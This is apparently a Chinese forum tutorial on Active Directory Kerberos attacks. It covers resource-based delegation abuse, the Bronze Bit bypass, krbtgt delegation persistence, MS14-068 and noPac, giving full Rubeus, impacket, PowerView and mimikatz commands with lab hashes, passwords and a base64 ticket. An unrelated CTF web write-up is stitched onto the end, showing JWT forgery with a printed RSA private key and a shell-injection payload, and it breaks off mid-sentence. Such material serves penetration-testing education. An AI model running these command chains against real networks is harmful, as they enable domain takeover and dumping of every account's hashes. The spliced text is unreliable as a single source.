因为Rubeus是不支持明文的,所以先把它转换为hash Rubeus.exe hash /user:weipai /password:User!@#45 /domain:vvvv1.com //0EC4B410903C6DC7594464F27D347497 Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:cifs/pc-2016.vvvv1.com /ptt //注意,使用工具Rubeus注入票据时,目标主机名与之后认证的时候的主机名需要一致 //比如这里是cifs/pc-2016.vvvv1.com,之后dir就需要用pc-2016.vvvv1.com //如果这里是cifs/pc-2016,之后dir就需要用pc-2016,否则就会拒绝访问 也可以直接使用psexec连接 PsExec64.exe \\pc-2016.vvvv1.com cmd.exe 注意,这里获得的权限其实是本地的管理员权限,并没有访问域内资源的权限。 impacket工具包 python getST.py -dc-ip 10.10.10.10 -spn cifs/pc-2016.vvvv1.com -impersonate administrator vvvv1.com/weipai$:User!@#45 set KRB5CCNAME=C:\Users\WP\Desktop\administrator.ccache python psexec.py -no-pass -k pc-2016.vvvv1.com -dc-ip 10.10.10.10 -codec gbk 总结 基于资源的约束委派是普通约束委派的反向,不需要域控来进行指定,只需要拥有一个可以修改属性的域内账户即可(域管理员账户、机器账户自身和创建机器账户的用户拥有该权限);基于资源的约束委派获得的是对方的本地管理员权限,或者system权限,因此多数情况下,基于资源的约束委派可以用来本地提权操作,只需要拥有一个可以修改当前机器属性的域内账户即可;用户不可委派在域环境中,高权限用户如果没有特殊需求的情况下,考虑到安全性一般是设置为不可委派,或者是加入受保护组。 加载ActiveDirectory模块(需要在登录域内账户) Powershell -ExecutionPolicy Bypass Import-Module .\Microsoft.ActiveDirectory.Management.dll Get-ADUser administrator -Properties AccountNotDelegated, Memberof Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt 这时候我们在通过s4u去申请一下票据,这个时候S4U2self是成功的,但是S4U2proxy是失败的。 https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html 也就是说账户不可委派以及受保护组的成员是不影响S4U2Self的,可以使用Rubeus describe查看一下S4U2self返回的票据信息,可以看到该票据是没有服务名称的,并且不可转发。 首先,我们可以知道,在我们配置委派的时候,有两种方式 1)仅使用Kerberos 配置了仅使用Kerberos约束性委派的机器账户和服务账户的userAccountControl属性与正常账户一样,但是其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN (2)使用任何身份验证协议 配置了使用任何身份验证协议约束性委派的机器账户的userAccountControl属性的Flag位为WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的值为16781312,并且其msDS-AllowedToDelegateTo属性会有允许被委派服务的SPN从上文的链接中,我们可以了解到,当帐户设置了 TrustedToAuthForDelegation 标志(也称为“协议转换”)时,这种基于资源的反射约束委派相当于 S4U2Self,因为它允许帐户代表用户为自己获取可转发的 TGS。但是,如果帐户配置为具有“仅 Kerberos”的经典约束委派(未设置 TrustedToAuthForDelegation 并且 msDS-AllowedToDelegateTo 不为空),则经典条件优先于基于资源的条件,因此 S4U2Self 会以非-可转发的 TGS 和 S4U2Proxy 失败。 因此,我们必须要配置任何身份验证才可以进行委派。 详情看上文链接文章的这一节:A Misunderstood Feature #1 查看票据详情,发现服务名称是缺失的。 Rubeus.exe describe /ticket:ticket.kirbi 我们可以修改从S4U2Self获取的TGS上的SPN,并将其变成有效的。 https://xz.aliyun.com/t/7454#toc-2 Rubeus 在Rebeus加入了一个模块可以直接修改票据的SPN,把base64字符串复制下来后,存放到ticket.kribi文件中,由于被base64加密,所以要解密,解密过后可以直接使用Rubeus直接替换里面的内容,这里我们使用python对字符串进行处理。 data ='' with open("1.txt") as fp1: for line in fp1: data += line.strip().strip('\n') with open("2.txt",mode='a') as fp2: fp2.write(data) import base64 def base64_decode_to_file(encoded_string, filename): try: # 将字符串进行 base64 解码 decoded_data = base64.b64decode(encoded_string) # 以二进制方式写入文件 with open(filename, 'wb') as file: file.write(decoded_data) print("解码并写入文件成功!") except Exception as e: print("解码并写入文件出错:", str(e)) # 测试 encoded_string = data filename = "ticket.kirbi" base64_decode_to_file(encoded_string, filename) # print(data) Rubeus.exe tgssub /ticket:ticket.kirbi /altservice:cifs/pc-2016.vvvv1.com /ptt //或者直接使用字符串进行修改 Rubeus.exe tgssub /ticket:BASE64 /altservice:cifs/pc-2016.vvvv1.com /ptt Rubeus.exe describe /ticket:ticket.kirbi ASN.1 Editor 修改下图这两处地方即可。 总结对于用户不可委派的实际应用场景,经过测试,实际上范围十分小。 因为在这一过程中,我们修改的是从S4U2Self获取的ST上的,那么就意味着,在委派的过程中,我们只能利用一台机器账户的HASH,来委派这一台机器本身的服务。如果是一台机器来委派另一台机器的服务,那么我们修改的ST是来自第一台机器的自身可以转发的ST,即使修改了也是只能获取到该机器的服务,并不能获取到第二台机器的服务。 //通过一台机器账户的HASH,来委派这一台机器本身的服务 Rubeus.exe s4u /user:PC-2016$ /rc4:cf6fd40df4e9a1326279ae803382628a /domain:vvvv1.com /impersonateuser:administrator /msdsspn:cifs/PC-2016.vvvv1.com /ptt 而且由于上文所指的只有设置了 TrustedToAuthForDelegation 标志才能进行委派,而默认情况下的非约束委派是不会配置这个标志位的,因此通过机器账户的HASH来获取对应机器的服务必须是在约束委派的前提下进行。 那么我们想要进行约束委派,也需要在域控进行设置,因此该功能比较鸡肋,当然,如果遇到对应情况,就可以利用机器账户来获取到其他的权限。 当然,这些能否使用S4Uproxy都是取决于是否转发到另一个机器,如果是获取到了某个机器账号的HASH,只是用来获取该机器的服务,不转发到其他的机器,则上文中的修改其服务名则可以成功使票据变得可以使用。(也就是说,只要是获得了某个机器账户的HASH,且该系统已经支持S4U,则可以通过S4U来获取其本地的其他服务的权限,例如CIFS。即使该机器没有设置委派也可以成功。) 至于为什么可以公告修改服务吗来使票据变得可用? 因为在进行约束委派的流程中,第二部是获取到自身服务的ST(见下图),由于工具集成了三个步骤,因此第二个步骤的服务名因为需要被第三步进行使用,因此一般服务名为该机器的名称,例如AD-2016$。但是实际上我们可以将该名称替换成该机器的任意本地服务的名称,这样该票据也就可以成功被使用。(也就是说,如果是利用某个机器账户的HASH来获取该机器的服务,就是将下图中的步骤拆开,只进行1、2步骤)。 CVE-2020-17049 Kerberos Bronze Bit攻击https://www.freebuf.com/vuls/258430.html https://cloud.tencent.com/developer/article/1761060 https://cloud.tencent.com/developer/article/1808279 假设攻击者已经获得了Service1的密码hash值,且Service1和Service2之间存在委派信任关系(Service1配置为对Service2的约束委派或Service2接受来自Service1的基于资源约束的委派)。如果Service1允许进行协议转换(配置了TrustedToAuthForDelegation属性),就可以利用impacket套件中的GetST.py脚本来获得指定身份的Service2的服务票据ST2。 利用服务票据ST2,攻击者就能伪造成目标用户与Service2进行交互。 由于委派攻击的危害性,因此微软官方提供了多种配置来降低委派攻击的危害。首先可以通过禁止协议转换(即关闭TrustedToAuthForDelegation属性)。 其次是可以在AD中配置高权限域内账户为“敏感账户,不能被委派”。 最后还可以将域内账户添加到 “Protected Users”安全组内。 将域内账户添加到 “Protected Users”安全组内时,会对用户进行限制 密码更改频率限制:这些账户的密码更改频率将增加,以减少密码被暴力破解或猜测攻击的风险。密码历史限制:禁止重复使用之前使用过的密码,以防止密码的持久性攻击。强制 Kerberos 加密类型:只允许使用最安全的 Kerberos 加密类型进行身份验证,以减少中间人攻击的风险。强制域控制器进行 Kerberos 预身份验证:要求域控制器在 Kerberos 身份验证之前对账户进行预身份验证,以防止票据伪造攻击。强制用户会话进行加密:要求用户会话使用加密传输数据,以防止信息泄露和中间人攻击。 如果某域内账户设置了上述配置至少一个,那么为该域内账户申请服务票据时,该服务票据的“ForWardable”将始终设置为0。即Service1仍然能通过S4U2self 协议获取该域内账户的服务票据ST1,但由于该服务票据ST1的ForWardable标志位0,那么就不能在S4U2 proxy中使用该服务票据ST1获取其他服务票据。 观察上图,可以发现在ST1是使用Service1密匙进行加密的。这意味着Service1可以解密ST1后修改forwardable值,然后重新使用Service1密匙进加密后发送给KDC ,forwardable标志不在PAC中,所以KDC无法检测到该值是否已经被篡改。 绕过限制后,攻击者就可以模拟目标用户与Service2进行交互。 漏洞利用首先配置administrator账户为敏感账户,不可委派,且加入了Protected Users安全组。 配置委派的服务一为仅使用kerberos认证。 获取到服务一的HASH WSUS-PC$ 5d0a673b5f338a159c260fa7b8bc99ec 利用工具进行委派攻击 python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec 发现无法生成对应票据。 添加-force-forwardable参数即可成功。 python getST.py -dc-ip 10.10.10.10 -spn cifs/ad-2016.vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec -force-forwardable set KRB5CCNAME=C:\Users\Administrator\Desktop\administrator.ccache python psexec.py [email protected] -k -no-pass -codec gbk 或者使用mimikatz将票据注入内存 kerberos::ptc administrator.ccache 使用委派进行权限维持使用约束委派进行权限维持TGT由krbtgt Hash加密,如果能通过委派krbtgt服务,那么就能伪造任意用户的TGT了。 由于krbtgt默认是禁用的,所以无法使用页面添加它的SPN。 域控通过powershell添加账户到krbtgt的约束委派。 powershell -exec bypass Import-Module ActiveDirectory $user = Get-ADUser WP //添加机器账户的委派$user = Get-ADComputer WSUS-PC$ Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/vvvv1.com") } 利用impacket套件攻击 伪造administrator的TGT python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WP:User!@#45 python getST.py -dc-ip 10.10.10.10 -spn krbtgt/vvvv1.com -impersonate administrator vvvv1.com/WSUS-PC$ -hashes :5d0a673b5f338a159c260fa7b8bc99ec 导入票据 export KRB5CCNAME=administrator.ccache 用wmiexec弹出一个权限为administrator交互式的shell python wmiexec.py -no-pass -k [email protected] -dc-ip 10.10.10.10 导出域内哈希 python secretsdump.py -no-pass -k WIN-KONG.hiro.com 使用基于资源的约束委派进行权限维持与约束委派的权限维持类似,我们可以配置某个服务账户到krbtgt的基于资源的约束委派,只要有了修改krbtgt的权限,就能伪造任意用户请求krbtgt服务,则可以请求到任意用户的TGT。 使用PowerView工具 S-1-5-21-3315874494-179465980-3412869843-502 使用AdFind查找可以修改krbtgt账户属性的账户 AdFind.exe -b CN=krbtgt,CN=Users,DC=vvvv1,DC=com -sc getacl -sddl+++ -sddlfilter ;;"WRT PROP";;; 在域控上执行: //SID为weipai$的SID $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3315874494-179465980-3412869843-2609)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 验证是否成功添加,如果有返回值,则证明成功添加属性 Get-DomainComputer krbtgt -Properties msds-allowedtoactonbehalfofotheridentity //Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount 清除msds-allowedtoactonbehalfofotheridentity属性的值 Set-DomainObject krbtgt -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose rubeus 使用rubeus伪造administrator请求TGT Rubeus.exe s4u /user:weipai$ /rc4:0EC4B410903C6DC7594464F27D347497 /impersonateuser:administrator /msdsspn:krbtgt /ptt impacket工具包 使用impacket工具包也可以实现 python getST.py -dc-ip 10.10.10.10 -spn krbtgt -impersonate administrator vvvv1.com/weipai$:User!@#45 set KRB5CCNAME=administrator.ccache python wmiexec.py -no-pass -k [email protected] -dc-ip 10.10.10.10 PAC攻击https://blog.csdn.net/shuteer_xu/article/details/129253005 PAC (Privilege Attribute Certificate,特权属性证书),其中所包含的是各种授权信息、附加凭据信息、配置文件和策略信息等。例如用户所属的用户组, 用户所具有的权限等。在最初的RFC1510中规定的标准Kerberos认证过程中并没有PAC,微软在自己的产品中所实现的Kerberos流程加入了PAC的概念,因为在域中不同权限的用户能够访问的资源是不同的,因此微软设计PAC用来辨别用户身份和权限。 在一个正常的Kerberos认证流程中,KDC返回的TGT认购权证和ST服务票据中都是带有PAC的。这样做的好处就是在以后对资源的访问中, 服务端再接收到客户请求的时候不再需要借助KDC的帮助提供完整的授权信息来完成对用户权限的判断, 而只需要根据请求中所包含的PAC信息直接与本地资源的ACL相比较做出裁决。 PAC中包含两个数字签名:**PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。**PAC_SERVER_CHECKSUM是使用服务密钥进行签名,而PAC_PRIVSVR_CHECKSUM是使用KDC密钥进行签名。签名有两个原因。首先,存在带有服务密钥的签名,以验证此PAC由服务进行了签名。其次,带有KDC密钥的签名是为了防止不受信任的服务用无效的PAC为自己伪造票据。 这两个签名分别以PAC_SERVER_CHECKSUM和PAC_PRIVSVR_CHECKSUM类型的PAC_INFO_BUFFER发送。在PAC数据用于访问控制之前,必须检查PAC_SERVER_CHECKSUM签名。这将验证客户端是否知道服务的密钥。而PAC_PRIVSVR_CHECKSUM签名的验证是可选的,默认不开启。它用于验证PAC是否由KDC签发,而不是由KDC以外的具有访问服务密钥的人放入票据中。 PAC中是有两个签名的:PAC_SERVER_CHECKSUM 和 PAC_PRIVSVR_CHECKSUM。一个是使用服务密钥(PAC_SERVER_CHECKSUM)进行签名,另一个使用KDC密钥(PAC_PRIVSVR_CHECKSUM)进行签名。当服务端收到客户端发来的AP-REQ消息时,只能校验PAC_SERVER_CHECKSUM签名,而并不能校验PAC_PRIVSVR_CHECKSUM签名。因此,正常来说如果需要校验PAC_PRIVSVR_CHECKSUM签名的话,服务端还需要将客户端发来的ST服务票据中的PAC签名发给KDC进行校验。 但是,由于大部分服务默认并没有KDC验证PAC这一步(需要将目标服务主机配置为验证KDC PAC签名,默认未开启),因此服务端就无需将ST服务票据中的PAC签名发给KDC校验了,只需要在本地与ACL进行对比验证即可。这也是白银票据攻击能成功的前提,因为如果配置了需要验证PAC_PRIVSVR_CHECKSUM签名的话,服务端会将这个PAC的数字签名以KRB_VERIFY_PAC的消息通过RPC协议发送给KDC,KDC再将验证这个PAC的数字签名的结果以RPC返回码的形式发送给服务端,服务端就可以根据这个返回结果判断PAC的真实性和有效性了。 因此如果目标服务主机配置了要校验PAC_PRIVSVR_CHECKSUM签名的话,就算攻击者拥有服务密钥,可以制作ST服务票据,也不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,自然就无法通过KDC的签名校验了。 根据微软官方文档的描述,若要开启KDC校验PAC,需要有以下条件: 应用程序具有SeTcbPrivilege权限。SeTcbPrivilege权限允许为用户帐户分配“作为操作系统的一部分”。本地系统、网络服务和本地服务帐户都是由windows定义的服务用户帐户。每个帐户都有一组特定的特权。应用程序是一个服务,验证KDC PAC签名的注册表项被设置为1,默认为0。修改方法如下:启动注册表编辑器regedit.exe找到以下子键:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters添加一个ValidateKdcPacSignature的键值(DWORD类型)。该值为0时,不会进行KDC PAC校验。该值为1时,会进行KDC PAC校验。因此可以将该值设置为1启用KDC PAC校验。对于验证KDC PAC签名这个注册表键值,有以下几点注意事项: 如果服务端并非一个服务程序,而是一个普通应用程序,它将不受以上注册表的影响,而总是进行KDC PAC校验。如果服务端并非一个程序,而是一个驱动,其认证过程在系统内核内完成,它将不受以上注册表的影响,而永不进行PAC校验。使用以上注册表项,需要在Windows Server 2003 SP2或更新的操作系统。在运行Windows Server 2008或更新操作系统的服务器上,该注册表项的值缺省为0(默认没有该ValidateKdcPacSignature键值),也就是不进行KDC PAC校验。注:需要说明的是,注册在本地系统帐户下的服务无论如何配置,都不会触发KDC验证PAC签名。也就是说譬如SMB、CIFS、HOST等服务无论如何都不会触发KDC验证PAC签名。(如果是LDAP服务,则是注册在域内的服务) 因此,如果配置了KDC检验PAC的话,即使拥有服务密钥,生成了服务ST,也无法利用白银票据进行攻击,因为不能伪造KDC的PAC_PRIVSVR_CHECKSUM签名,也就无法通过KDC的签名校验了。 MS14-068MS14-068漏洞的原因是KDC无法正确检查PAC中的有效签名,由于其实现签名的加密允许所有的签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证,因此可以利用不需要相关密钥的算法,如MD5,实现内容的任意更改,导致用户可以自己构造一张PAC,伪造用户的SID和所在的组,那么可以通过伪造PAC,加入域管相关信息,访问域控服务,KDC会认为当前用户有权限,从而把这个用户当作域管组的成员,进而达到提升为域管理员的效果。 使用该漏洞系统需未打MS14-068的补丁(KB3011780),系统在windows server 2008及以下。 使用MS14-068的先决条件: 域内任意⽤户 SID域内任意⽤户密码使用MS14-068.exeman1 0ec4b410903c6dc7594464f27d347497 man1 S-1-5-21-3315874494-179465980-3412869843-1110 MS14-068.exe -u [email protected] -p User!@#45 -s S-1-5-21-3315874494-179465980-3412869843-1110 -d 10.10.10.10 //使用mimikatz导入票据文件 kerberos::ptc [email protected] 使用GoldenPac.pypython goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.10 vvvv1.com/man1:User!@#[email protected] 使用Kekeo.exekekeo.exe "exploit::ms14068 /domain:vvvv1.com /user:man1 /password:User!@#45 /ptt" "exit" CVE-2021-42287&CVE-2021-42278(NoPac)https://www.freebuf.com/vuls/317773.html https://blog.csdn.net/weixin_44747030/article/details/127158385 CVE-2021-42278是一个安全绕过漏洞,允许通过修改机器账户的sAMAccountName属性来冒充域控。与标准用户账户相比,机器账户的名称末尾附带了一个“$”符号,但是实际中,AD并没有验证域内机器账户中是否具有“$”,导致机器账户可以被假冒。 sAMAccountName(Security Account Manager Account Name)是Microsoft Windows中的一个属性,用于标识和表示用户和计算机账户。sAMAccountName是Active Directory(AD)中的一项属性,也适用于Windows Server域环境。 sAMAccountName属性用于在域内唯一标识用户和计算机账户。对于用户账户,sAMAccountName通常是用户的登录名,例如"johnsmith"。 sAMAccountName属性主要用于内部引用和标识用户和计算机账户,它不包含完整的用户或计算机名称,而只是一个唯一的标识符。要获取完整的用户或计算机账户名称,可以使用其他属性,如User Principal Name(UPN)或Distinguished Name(DN)。 CVE-2021-42287是一个影响Kerberos特权属性证书(PAC)的安全绕过漏洞,允许通过假冒域控,使密钥分发中心(KDC)创建高权限票据。 根据认证Kerberos协议,在请求服务票证前需要先签发TGT(票据授权凭证)。但是,当为活动目录中不存在的账户请求服务票证时,密钥分发中心(KDC)将在该账户名上附加“$”符合进行搜索。这一行为与CVE-2021-42278结合,测试人员可以实现域内权限提升。 大致流程如下: 当前已经拿下域内一台普通权限机器;创建一个机器账户,假定为NOPAC1;清除机器账户NOPAC1的servicePrincipalName属性;修改机器账户NOPAC1的sAMAccountName属性,使其指向不带“$”符合的域控账户,相当于将该机器账户改名,如果域控名称为AD-2016$,就将该机器账户名称修改成AD-2016;利用改名后的账户AD-2016请求TGT;将新建的机器账户的sAMAccountName属性,使其恢复其原初始值(NOPAC1)或其他任意值即可;利用S4U代表域管理员请求对应服务的服务票据(ST);伪造域管理员账户获得相应服务的ST;为什么要清除机器账户NOPAC1的servicePrincipalName属性? servicePrincipalName属性存储了该账户所注册的服务主体名称(SPN)。 在修改sAMAccountName值时,servicePrincipalName的值与sAMAccountName的值相关联,servicePrincipalName将使用新值自动更新。该漏洞利用时,会将sAMAccountName的值改成AD-2016,那么servicePrincipalName将试图更新AD-2016的SPN,而该SPN已经被域控所独占,那么就会引发报错。所以在修改机器账户的sAMAccountName属性前,需要将其servicePrincipalName属性清除。 为什么要使用S4U进行请求ST? 在S4U请求中,在KDC解析TGT的用户信息时,因为AD-2016不存在,因此会在后面添加“$”进行查找,也就是域控的机器账户。此时,该TGT被KDC认定为是域控机器账户的TGT,然后进行S4u2Self请求,伪造任意用户访问域控自身的服务,例如administrator用户,然后重新生成对应的PAC又写入ST中。(利用域控机器TGT可以通过S4u2Self生成与自己有关的所有服务ST,但是是否能使用该ST,取决于PAC中伪造的用户权限) KDC收到TGT认购权证后,利用krbtgt密钥对其解密,然后取出PAC。然后验证PAC的签名,如果签名正确,则证明PAC未经过篡改。然后将TGT认购权证中的PAC直接拷贝到ST服务票据中。也就是说,ST服务票据中的PAC和TGT认购权证中的PAC是一致的。如果TGT认购权证中没有PAC的话,KDC在拷贝PAC的时候,也是拷贝的空的,这就意味着ST服务票据中也没有PAC。因此,需要使用S4u2Self重新生成PAC进行利用。 对于无论用户有没有访问服务的权限,只要TGT正确,就会返回ST,该ST为何无法利用? 利用S4u2Self只能伪造高权限用户生成与当前机器有关的服务ST,在生成ST的过程中并将高权限PAC写入ST,使得该ST可以被转发使用。但是实际上PAC是无法修改的,对于低权限用户生成的访问某些服务的ST,即使TGT正确,生成的ST由于其中的PAC权限过低,导致无法使用。 具体过程使用工具Powermad,添加名为NOPAC2$,密码为User!@#45的机器账户。 powershell -exec bypass Import-Module .\Powermad.ps1 $password = ConvertTo-SecureString 'User!@#45' -AsPlainText -Force New-MachineAccount -MachineAccount "NOPAC2" -Password $($password) -Domain "vvvv1.com" -DomainController "ad-2016.vvvv1.com" -Verbose 如下图所示添加成功。 使用工具PowerView,清除机器账户NOPAC2$的service-PrincipalName属性 Import-Module .\PowerView.ps1 Set-DomainObject "CN=NOPAC2,CN=Computers,DC=vvvv1,DC=com" -Clear 'serviceprincipalname' -Verbose 使用ADExplorer查看机器账户属性,发现已经删除service-PrincipalName属性 修改机器账户的sAMAccountName属性,使其指向不带"$"符号的域控机器账户。 Set-MachineAccountAttribute -MachineAccount “NOPAC2” -Value "AD-2016" -Attribute "samaccountname" -Verbose 使用工具Rubeus工具为账户AD-2016请求TGT。 Rubeus.exe asktgt /user:"ad-2016" /password:"User!@#45" /domian:"vvvv1.com" /dc:"ad-2016.vvvv1.com" /nowrap 获取到TGT后,恢复原机器名,或修改成其他任意机器名。 Set-MachineAccountAttribute -MachineAccount "NOPAC2" -Value "NOPAC2$" -Attribute samaccountname -Verbose Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/AD-2016.vvvv1.com" /dc:"AD-2016.vvvv1.com" /ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID9TCCA/FhggPtMIID6aADAgEFoQsbCVZWVlYxLkNPTaIeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29to4IDszCCA6+gAwIBEqEDAgECooIDoQSCA50gPYZQmCqJTBvQ0DalEvZRoszQULoN8jmphV2L2h77Iz91/s5p5AM9lszINs0hTdC9e3hnhJTk+qPHwe/eqqAX7nmUy4AsojmEQkutV4UuFsBM/c/ppQmXP3lD5xsJTUfBqSkcwl7RHFqo+Z1uZpHzfLv6YMP6UMHK8lD8A6MEu33SU7Tda1rVPa2P3QRPgGay2wVP9wtYtjmU3/Mj5CKey+fHlJHCNwSGHWU5FCvFwp7WMQ02L8tFxJKeOq3+RX7iIauOFxjYCCGG+IklHIdPuPiIC8HKzlF1E8jJh97tYoRuw/DvejtJ4TlcATmJKqb/baGngQiwOs4TRs26B+uPwkj9lMdbQJuxUxlBEJkuJtyozoAk9/LjIwwvIhaA6yhv8uVKSYQkslnCIrWuRR4Y82wCIjCNVwyBhhTOAbR1LfzI0yXnwbky232ptnPf0ahZi33wIh3lnZ1bU6mG6Pu/9lDLVyIfrVKIg5zqdmMU+vyCVjAJrhqxEQomQ4+QRZmrLKFpAxe7Bbv7iBUMVA4N5qbv0PB16Hh4g0cNqKPNVmKnuRsjO8xMpW4XlHc1Dn6mAJgkEqNvio3fxvzlWCvzjDTttdGyH8UMNwL7m2qHFaMSm4QEWQIJP8NNgCYIH4aqLmQlzXvou4L7BFxOcfXdhYWsZJACnGATFdm42roIwo1dLHWER5oQBPktrhdau8QCduPB7kcdrJxR9avKlfqO7xvhI1qlVANunMpgs75NVwgLa0wzMwe7fy0QFPMYVfH4TTjGuhPRMVGnKrcEmGI+ze3Y0c1m0XpqiwzR1YGAwNuIQTfGAimO0rG1uLdVNapWbQv/v55EzRldCoKvR/eGZhpf8SvjYwqSXXttWaPOrwFFdLej2LqpT2vStkLNzC4grCvF73if2WTHxm/UykDLF4trlxt7LTxf1cD18HYavkB6E3uN8PTWIJ4VkRWzfowrSvpoBUWTY52We3Fj7ACJ64T2xAPp6rChXUyd9w0KcVbtUGxbrpb0mql06FoMfjPpKS5ySPDDRwfO6rnP39ABejIzRB1Q9qZYhaYzedQ64BSuz/C5psjfGg/jummxwgec9dWcmEhRMB6UWkOFN+PI1R0mJLTJKVK88zb682knMlp2uqevLerZzTQn8CRQ6N0wZ1qekX+EgMpm0wOtGyGmarUAibFaAijg/TOhnJ7Qn/1bFXbfAeu0Ox77wYFi6ST1Xri659p4zdNh3Au2o4HMMIHJoAMCAQCigcEEgb59gbswgbiggbUwgbIwga+gGzAZoAMCARehEgQQH3LWAD2770rKZvl9IskRnqELGwlWVlZWMS5DT02iFDASoAMCAQGhCzAJGwdhZC0yMDE2owcDBQBA4QAApREYDzIwMjMwOTA1MDgyNjMwWqYRGA8yMDIzMDkwNTE4MjYzMFqnERgPMjAyMzA5MTIwODI2MzBaqAsbCVZWVlYxLkNPTakeMBygAwIBAqEVMBMbBmtyYnRndBsJdnZ2djEuY29t 验证成功。 另外其他工具的方法可以参考如下链接。 https://blog.csdn.net/weixin_44747030/article/details/127158385 使用noPac.exe将编译好的noPac.exe上传到普通域用户 的主机,执行以下命令,创建一个名为NOPAC1的机器账户,获得一个针对域控的CIFS服务的票据,并将该票据传递到内存中。 noPac.exe -domain vvvv1.com -user man1 -pass User!@#45 /dc ad-2016.vvvv1.com /mAccount NOPAC1 /mPassword User!@#45 /service cifs /ptt 注意,如果该机器账户名已存在,则会报错。 转账自原文链接地址: https://forum.butian.net/share/3680
  6. 一、青龙组WEB web1 开局随便随便输入都可以登录,登上去以后生成了一个token和一个session,一个是jwt一个是flask框架的 这边先伪造jwt,是国外的原题 CTFtime.org / DownUnderCTF 2021 (线上) / JWT / Writeup 先生成两个token,然后利用rsa_sign2n工具来生成公钥 python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYWFhIn0.EnToBP4kzW6jbUqkC7fjt-FcCq9mOMhKWRqKpo12BsG464YTX2QNiBLuzgqJhnDlGF2Ukqb6oWXhFm0qiKrbg1skUb0FO2kMBkEvRLpyGJ7tXOzcndGDl-egaMa-mSN321RNW-aiCKJsij5Tf0HzQgBU8UCg1Zd8uJaybcj3oXOi eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.IUanU3g_ZtyPjDnOJ9gockfRo1oOQLmQT0To_WYLi9I9PluHxbBId5d2wFiF-sIhGPuDtzPvShiE1ao0qnMlp3X7pVf-Qb-juaslvbnpR1rCKH2D3Kq4u1d2wEDvsgWVtjYA6s5NXrvJpzDcpZlzmx_6Ywn8caqVQ3kjlTv87OKO 得到public key -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgSSlUMfCzg/ysG4ixoi6NKGuWNnv IpZZTRNa045eH2xzzY/ZyRwDojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fAN MNCYRa47xIW0RwZBDSABcGnwu3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502 ZMSv0AxMgN5UMh9FCwIDAQAB -----END PUBLIC KEY-----然后利用RsaCtfTool得到私钥 -----BEGIN RSA PRIVATE KEY----- MIICoQIBAAKBgSSlUMfCzg/ysG4ixoi6NKGuWNnvIpZZTRNa045eH2xzzY/ZyRwD ojStMH5wxG6nOVvNAY/ETx2XPPC6J1J//nzC1fANMNCYRa47xIW0RwZBDSABcGnw u3QP2nr7AR0/tZmSClncdwA7RKzlJM8Fs7Zmb502ZMSv0AxMgN5UMh9FCwIDAQAB AoGBC5/r+nCv2+uWXTjL8i6UJtLIfdOssxKbJNiIKLXQh3l8IAAfx1i9ktxYEICW TcGTUkx9gjd+xUwo0KOKjcg3hZc7bEfLkiOsK8dSwsPFEXYQpCE1EFokhkc9Rbiq URC9QIrQjtzf5vdU2usj5ddRGtqtmpXm/ibU1TLPIsy8Y5TJAoGBAP2Mj8b+pnwu SCp0EYh99ogr6jblQlVwySv34UDQarcFjkQoB60SOMZpGCyPr/auhfDIsNvKyXLK S7IBEBFMETWywUx28OGFV7xtGF7RfLWmaKYXy4ML/DfHonV8khZ6h5wpyxPL3Wli uJCSSsjNgXhj4aeGLtRRuySpiXflrdFvAgElAoGBALrhzOO+tJWZQ2XPMVEqjvjl bXfS2WbCf/Theuzb8Zw/AxJncuj1IlXUBpZpvigTkPPd6MXIHV13j/1+3QnyyEiN Hf6vOHLxZq6itrDEtafqJP4vUbigr+GpSqxQChl5bNUE1QMdY3AW7LTarzZ8iq5i 6GMi+wdRyp+GOqXd65UPAgERAoGAUjts5pfHSt6T8hfOVcf87eS6qgUqRTlWAGwR tCfrQkb9tT1qRfgSadzlPuJ+QirDqAm80amNcVZdvTDG8NpmckfP/R+oEcphpOUc qSFY4PezPMlyb7DcLcQ0sHttpmztthtkdR+GFFdedBPFOjTQC16qDNGSpbmkepfZ jqta99E= -----END RSA PRIVATE KEY-----接着直接伪造jwt即可,成功伪造了用户名为admin 可以访问game路由使用功能,这里又是国外原题 AIS3-pre-exam-2024-Writeup | 堇姬 Naup's Blog 利用emo表情构造出cd flag;p:|cat * ⭐直接读源码,可以得到secret_key为36f8efbea152e50b23290e0ed707b4b0 那么直接伪造 然后就可以使用上传文件的功能,我们先审计一下这部分的源码 